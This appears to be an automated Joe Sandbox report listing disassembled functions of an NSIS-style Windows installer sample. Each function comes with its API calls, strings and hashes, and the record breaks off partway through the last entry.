Instruction Fuzzy Hash: DCD06774D542188BCB51DF9898406ECB370ABA9301F0024959058A7600DB709A948E56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,?), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,?,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,76F93420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

(7B, xrefs: 00403B04
RichEd20, xrefs: 00403D06
RichEdit20W, xrefs: 00403D24, 00403D2A
.DEFAULT\Control Panel\International, xrefs: 00403B44
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit, xrefs: 00403D33
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,?,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Error launching installer, xrefs: 00402F80
Null, xrefs: 00403029
soft, xrefs: 00403020

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623981421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2623994935.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2624015630.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000003.00000002.2623967057.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2623953413.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
